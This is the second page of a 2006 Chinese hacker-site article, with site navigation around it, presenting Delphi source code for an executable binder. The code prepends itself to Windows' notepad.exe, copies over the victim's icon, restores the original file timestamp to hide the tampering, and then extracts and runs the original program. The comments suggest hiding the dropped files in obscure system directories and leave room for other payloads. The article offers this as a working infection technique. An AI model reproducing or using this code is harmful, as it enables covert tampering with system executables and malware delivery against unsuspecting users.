黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]捆绑执行文件新思维
      ★★★★

捆绑执行文件新思维

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-8-26 11:47:43

{将本文件与文件s合并 本文件+s=s} 

s2:=TMemoryStream.Create; 
s2.loadfromfile(ExeName); 
s1:=TMemoryStream.Create; 

{ 加入本程序的前部40751字节 
第40752字节开始共640字节为图标数据 
!!以下数字 40751,81要根据实际情况修改!! } 
s1.copyfrom(s2,40751); 
{将图标换为被捆绑程序图标,图标大小为766} 
IcoStream.Position:=126; 
s1.CopyFrom(IcoStream,640); 
IcoStream.Free; 
s2.Position:=40751+640; 
{加入本程序的后部81字节} 
s1.CopyFrom(s2,81); 
s2.clear; 
s2.loadfromfile(s); 
s1.seek(s1.size,soFromBeginning); 
{加入被捆绑程序全部} 
s1.copyfrom(s2,s2.size); 
s2.free; 
{得到文件s的日期} 
fhandle:=FileOpen(s, fmOpenread); 
filetime:=filegetdate(fhandle); 
fileclose(fhandle); 
s1.SaveToFile(s); 
{恢复文件s的日期} 
fhandle:=FileOpen(s, fmOpenwrite); 
filesetdate(fhandle,filetime); 
fileclose(fhandle); 
s1.free; 
except end; 
end; 

procedure CreateFileAndRun; 
var 
s1,s2:TMemoryStream; 
TempDir:pchar; 
cmdstr:string; 
a:integer; 
Begin 
s1:=TMemoryStream.Create; 
s1.loadfromfile(ExeName); 
if s1.Size=MySize then 
begin 
s1.Free; 
exit; 
end; 
s1.seek(MySize,soFromBeginning); 
s2:=TMemoryStream.Create; 
s2.copyfrom(s1,s1.Size-MySize); 
GetMem(TempDir,255); 
GetTempPath(255,TempDir); 
try 

{ 把文件释放到临时目录。 
如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录, 
如 c:\windows(or winnt)\d...(☆这是个什么目录?你去研究研究吧!☆) } 

s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName)); 
except end; 
cmdstr:=''; 
a:=1; 
while ParamStr(a)<>'' do begin 
cmdstr:=cmdstr+ParamStr(a)+' '; 
inc(a); 
end; 
{运行真正的程序文件} 
winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW); 
freemem(TempDir); 
s2.free; 
s1.free; 
end; 

begin 
GetMem(WinDir,255); 
GetWindowsDirectory(WinDir,255); 
ExeName:=ParamStr(0); 
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); 
found:=Process32First(handle,lppe); 
ProcessStr:=''; 
while found do 
begin 
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程} 
found:=Process32Next(handle,lppe); 
end; 
{如果notepad没运行,就与它捆在一起} 
if pos(WinDir+'\notepad.exe',ProcessStr)=0 then 
begin 
copy2(WinDir+'\notepad.exe'); 
end; 
{其它需要捆绑的文件 
if pos(...,ProcessStr)=0 then 
begin 
copy2(...); 
end; 
... } 
freemem(WinDir); 
{ 你想用这个程序干点其它的什么... } 
CreateFileAndRun;{释放文件并带参数运行} 
end.

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886